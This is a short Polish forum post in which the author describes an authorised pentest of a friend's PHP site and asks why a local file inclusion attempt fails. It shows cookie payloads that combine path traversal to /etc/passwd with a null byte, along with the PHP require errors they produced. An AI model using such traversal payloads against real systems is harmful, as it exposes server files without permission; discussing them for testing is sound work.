Kolega zainteresował się PHP i stworzył prostą stronę i poprosił mnie o mały pentesting. Po paru minutach doszedłem do parametru lang - jak się można domyśleć odpowiadający za język strony. Podając w miejsce parametru lang jakiekolwiek znaki ukazał się błąd php dotyczący require, z pewnością na stronie istnieje podatność typu File Inclusion. Zacząłem od prostych plików typu etc/passwd,no więc:
Kod
Cookie: lang=ens/../../../../etc/passwd% 0 0
Kod
<b>Warning</b>: require(/gargamel/www/inc/lang.ens/../../../../etc/passwd\ 0.inc.php) [<a href='function.require'>function.require</a>]: failed to open stream: No such file or directory in <b>/gargamel/www/inc/init.inc.php</b> on line <b>18</b><br />
No więc tutaj próbowałem na różne sposoby, aż się wkońcu zacząłem zastanawiać co jest nie tak, podałem nazwę pliku jaka powinna być normalnie:
Kod
Cookie: lang=en.inc.php% 0 0
Kod
<b>Warning</b>: require(/gargamel/www/inc/lang.en.inc.php\ 0.inc.php) [<a href='function.require'>function.require</a>]: failed to open stream: No such file or directory in <b>/gargamel/www/inc/init.inc.php</b> on line <b>18</b><br />
Powinno zaincludować (tak mi się zdaje), ale wygląda tak jakby znak nulla był traktowany jako zwykły znak i nie obcinał końcówki, domyślnie parametr jest "en" i wtedy działa, co może być nie tak?
Linka do strony nie podam ze względu na tych co mają destruktywne myślenie

// edit
ehhh... forum mi wycina % 0 0 i \ 0
% 0 0 i \ 0 traktować jak bez spacji